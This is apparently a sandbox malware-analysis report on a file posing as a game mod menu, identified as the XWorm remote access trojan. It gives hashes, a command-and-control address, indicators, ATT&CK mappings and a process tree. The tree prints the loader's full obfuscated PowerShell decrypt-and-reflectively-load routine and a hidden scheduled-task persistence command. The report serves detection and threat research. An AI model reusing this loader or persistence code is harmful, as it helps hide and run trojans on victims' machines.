xworm | 6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

Resubmissions

14/05/2024, 11:20

240514-nfry6sdf73 10

14/05/2024, 11:02

240514-m44r7sch4w 10

Analysis

max time kernel
134s
max time network
136s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
14/05/2024, 11:20

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General

Target

kiddionsmodmenu.exe
Size

386KB
MD5

88e737816cc5f3e3809152c5f9dad5be
SHA1

56dedf42285c74795f714dbac7782a5d0e695a97
SHA256

6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
SHA512

8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
SSDEEP

12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4436-275-0x0000000009B30000-0x0000000009B3E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	4436	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
488	powershell.exe
3328	powershell.exe
4436	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2332	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
488	powershell.exe
488	powershell.exe
488	powershell.exe
3328	powershell.exe
3328	powershell.exe
3328	powershell.exe
4436	powershell.exe
4436	powershell.exe
4436	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	488	powershell.exe
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeIncreaseQuotaPrivilege	3328	powershell.exe
Token: SeSecurityPrivilege	3328	powershell.exe
Token: SeTakeOwnershipPrivilege	3328	powershell.exe
Token: SeLoadDriverPrivilege	3328	powershell.exe
Token: SeSystemProfilePrivilege	3328	powershell.exe
Token: SeSystemtimePrivilege	3328	powershell.exe
Token: SeProfSingleProcessPrivilege	3328	powershell.exe
Token: SeIncBasePriorityPrivilege	3328	powershell.exe
Token: SeCreatePagefilePrivilege	3328	powershell.exe
Token: SeBackupPrivilege	3328	powershell.exe
Token: SeRestorePrivilege	3328	powershell.exe
Token: SeShutdownPrivilege	3328	powershell.exe
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeSystemEnvironmentPrivilege	3328	powershell.exe
Token: SeRemoteShutdownPrivilege	3328	powershell.exe
Token: SeUndockPrivilege	3328	powershell.exe
Token: SeManageVolumePrivilege	3328	powershell.exe
Token: 33	3328	powershell.exe
Token: 34	3328	powershell.exe
Token: 35	3328	powershell.exe
Token: 36	3328	powershell.exe
Token: SeIncreaseQuotaPrivilege	3328	powershell.exe
Token: SeSecurityPrivilege	3328	powershell.exe
Token: SeTakeOwnershipPrivilege	3328	powershell.exe
Token: SeLoadDriverPrivilege	3328	powershell.exe
Token: SeSystemProfilePrivilege	3328	powershell.exe
Token: SeSystemtimePrivilege	3328	powershell.exe
Token: SeProfSingleProcessPrivilege	3328	powershell.exe
Token: SeIncBasePriorityPrivilege	3328	powershell.exe
Token: SeCreatePagefilePrivilege	3328	powershell.exe
Token: SeBackupPrivilege	3328	powershell.exe
Token: SeRestorePrivilege	3328	powershell.exe
Token: SeShutdownPrivilege	3328	powershell.exe
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeSystemEnvironmentPrivilege	3328	powershell.exe
Token: SeRemoteShutdownPrivilege	3328	powershell.exe
Token: SeUndockPrivilege	3328	powershell.exe
Token: SeManageVolumePrivilege	3328	powershell.exe
Token: 33	3328	powershell.exe
Token: 34	3328	powershell.exe
Token: 35	3328	powershell.exe
Token: 36	3328	powershell.exe
Token: SeIncreaseQuotaPrivilege	3328	powershell.exe
Token: SeSecurityPrivilege	3328	powershell.exe
Token: SeTakeOwnershipPrivilege	3328	powershell.exe
Token: SeLoadDriverPrivilege	3328	powershell.exe
Token: SeSystemProfilePrivilege	3328	powershell.exe
Token: SeSystemtimePrivilege	3328	powershell.exe
Token: SeProfSingleProcessPrivilege	3328	powershell.exe
Token: SeIncBasePriorityPrivilege	3328	powershell.exe
Token: SeCreatePagefilePrivilege	3328	powershell.exe
Token: SeBackupPrivilege	3328	powershell.exe
Token: SeRestorePrivilege	3328	powershell.exe
Token: SeShutdownPrivilege	3328	powershell.exe
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeSystemEnvironmentPrivilege	3328	powershell.exe
Token: SeRemoteShutdownPrivilege	3328	powershell.exe
Token: SeUndockPrivilege	3328	powershell.exe
Token: SeManageVolumePrivilege	3328	powershell.exe
Token: 33	3328	powershell.exe
Token: 34	3328	powershell.exe
Token: 35	3328	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 3492	2516	kiddionsmodmenu.exe	75
PID 2516 wrote to memory of 3492	2516	kiddionsmodmenu.exe	75
PID 2516 wrote to memory of 3492	2516	kiddionsmodmenu.exe	75
PID 3492 wrote to memory of 3076	3492	cmd.exe	78
PID 3492 wrote to memory of 3076	3492	cmd.exe	78
PID 3492 wrote to memory of 3076	3492	cmd.exe	78
PID 3492 wrote to memory of 488	3492	cmd.exe	79
PID 3492 wrote to memory of 488	3492	cmd.exe	79
PID 3492 wrote to memory of 488	3492	cmd.exe	79
PID 488 wrote to memory of 3328	488	powershell.exe	80
PID 488 wrote to memory of 3328	488	powershell.exe	80
PID 488 wrote to memory of 3328	488	powershell.exe	80
PID 488 wrote to memory of 4152	488	powershell.exe	83
PID 488 wrote to memory of 4152	488	powershell.exe	83
PID 488 wrote to memory of 4152	488	powershell.exe	83
PID 4152 wrote to memory of 3116	4152	WScript.exe	84
PID 4152 wrote to memory of 3116	4152	WScript.exe	84
PID 4152 wrote to memory of 3116	4152	WScript.exe	84
PID 3116 wrote to memory of 4112	3116	cmd.exe	86
PID 3116 wrote to memory of 4112	3116	cmd.exe	86
PID 3116 wrote to memory of 4112	3116	cmd.exe	86
PID 3116 wrote to memory of 4436	3116	cmd.exe	87
PID 3116 wrote to memory of 4436	3116	cmd.exe	87
PID 3116 wrote to memory of 4436	3116	cmd.exe	87
PID 4436 wrote to memory of 3632	4436	powershell.exe	89
PID 4436 wrote to memory of 3632	4436	powershell.exe	89
PID 4436 wrote to memory of 3632	4436	powershell.exe	89
PID 3632 wrote to memory of 2332	3632	cmd.exe	91
PID 3632 wrote to memory of 2332	3632	cmd.exe	91
PID 3632 wrote to memory of 2332	3632	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS81A3.tmp\XClient_Dealed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS81A3.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3076
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:488
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_266_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_266.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3328
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_266.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4152
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_266.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3116
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_266.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:4112
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4436
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA5E0.tmp.bat""
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3632
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        8⤵
        Delays execution with timeout.exe
        
        PID:2332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
ac3d19fbb5c5f10833f1882308f77548

SHA1
ac880466fd99a5719fedc7289b00d78ba7088e06

SHA256
3353b90af649198e084632af776f8c6ea3a9302da5a50d85f7ecde1c7ad295df

SHA512
b5e6369d7f475e9931d19fb2a5305b4c901ca5fcac5d788d064b6a1b1d6de2034e84932ac243d5056c745b924a2e9537a06b4172fab364402263788c814bc28b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
ad4e64a6c67a81aaf1d63afafc6a261c

SHA1
f210f2734455cf419d0d48db4d8a24b1f574b808

SHA256
0d8eaab630839efb5e53cff7e373dbfe19ba776375533ede73b99eb3a143a5ef

SHA512
b948a51d6f72384bfb775d18fbb2040f53b7e9ec40b2fdacc0808e1477e9203f8210a56bd731b478586e1af516d611046f5048089bb90ddb7e4f874ad61fba29

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS81A3.tmp\XClient_Dealed.bat

Filesize
152KB

MD5
0b426e8571f8d3e437b7a42e9b8fd808

SHA1
986edba4c39be9edb552284dac555e2e95f68a4a

SHA256
9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

SHA512
e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kq3qccak.tlx.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA5E0.tmp.bat

Filesize
171B

MD5
aa7e8b4ac575ca512f341939b704ae70

SHA1
dfdf5f1f51ae6357b96debf3b7f52632e63179cd

SHA256
2b285dd9720192e8b53d9469c24b86212314a41c131c5dc7baacba82f0da4451

SHA512
6e8a4d73058bcbe4a964aa02e884cee160a3663962312db5f41a13bc77dc50d0870b8b047a561da79a13343c1e8545530fb951f23102562993e869b1bf2389a8

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_266.vbs

Filesize
115B

MD5
767e85d896f5a5e7aa21f31df8f1f4e8

SHA1
c42324966633375a2373ed30d766ceda8f0c5fe9

SHA256
db7026ded513621371dad24096188a744d3167804750b7254462860f8a84d48e

SHA512
d2eab92d5414b7f23ef5a57161c46468af6702ee77ecb4428b1bc3d6fa17e989fa59d05c8d86dca20fa0a199e61076e7c8c95819df00529d689f644f24ffecb6

Download Submit
memory/488-14-0x0000000007BF0000-0x0000000007F40000-memory.dmp

Filesize
3.3MB

Download
memory/488-9-0x00000000721E0000-0x00000000728CE000-memory.dmp

Filesize
6.9MB

Download
memory/488-12-0x0000000007900000-0x0000000007966000-memory.dmp

Filesize
408KB

Download
memory/488-17-0x0000000007FA0000-0x0000000007FBC000-memory.dmp

Filesize
112KB

Download
memory/488-18-0x0000000008520000-0x000000000856B000-memory.dmp

Filesize
300KB

Download
memory/488-11-0x0000000007130000-0x0000000007152000-memory.dmp

Filesize
136KB

Download
memory/488-37-0x0000000008420000-0x000000000845C000-memory.dmp

Filesize
240KB

Download
memory/488-68-0x0000000009050000-0x00000000090C6000-memory.dmp

Filesize
472KB

Download
memory/488-73-0x000000000A440000-0x000000000AAB8000-memory.dmp

Filesize
6.5MB

Download
memory/488-74-0x0000000009DE0000-0x0000000009DFA000-memory.dmp

Filesize
104KB

Download
memory/488-75-0x0000000009E20000-0x0000000009E28000-memory.dmp

Filesize
32KB

Download
memory/488-76-0x0000000009E30000-0x0000000009E4E000-memory.dmp

Filesize
120KB

Download
memory/488-77-0x000000000AAC0000-0x000000000AFBE000-memory.dmp

Filesize
5.0MB

Download
memory/488-7-0x00000000721EE000-0x00000000721EF000-memory.dmp

Filesize
4KB

Download
memory/488-272-0x00000000721E0000-0x00000000728CE000-memory.dmp

Filesize
6.9MB

Download
memory/488-8-0x0000000004AF0000-0x0000000004B26000-memory.dmp

Filesize
216KB

Download
memory/488-13-0x0000000007970000-0x00000000079D6000-memory.dmp

Filesize
408KB

Download
memory/488-10-0x0000000007220000-0x0000000007848000-memory.dmp

Filesize
6.2MB

Download
memory/3328-111-0x0000000009EE0000-0x0000000009F74000-memory.dmp

Filesize
592KB

Download
memory/3328-110-0x0000000009D30000-0x0000000009DD5000-memory.dmp

Filesize
660KB

Download
memory/3328-105-0x0000000009990000-0x00000000099AE000-memory.dmp

Filesize
120KB

Download
memory/3328-104-0x000000006EDC0000-0x000000006EE0B000-memory.dmp

Filesize
300KB

Download
memory/3328-103-0x00000000099B0000-0x00000000099E3000-memory.dmp

Filesize
204KB

Download
memory/4436-275-0x0000000009B30000-0x0000000009B3E000-memory.dmp

Filesize
56KB

Download
memory/4436-278-0x0000000009BF0000-0x0000000009C8C000-memory.dmp

Filesize
624KB

Download
memory/4436-282-0x000000000ACC0000-0x000000000AD52000-memory.dmp

Filesize
584KB

Download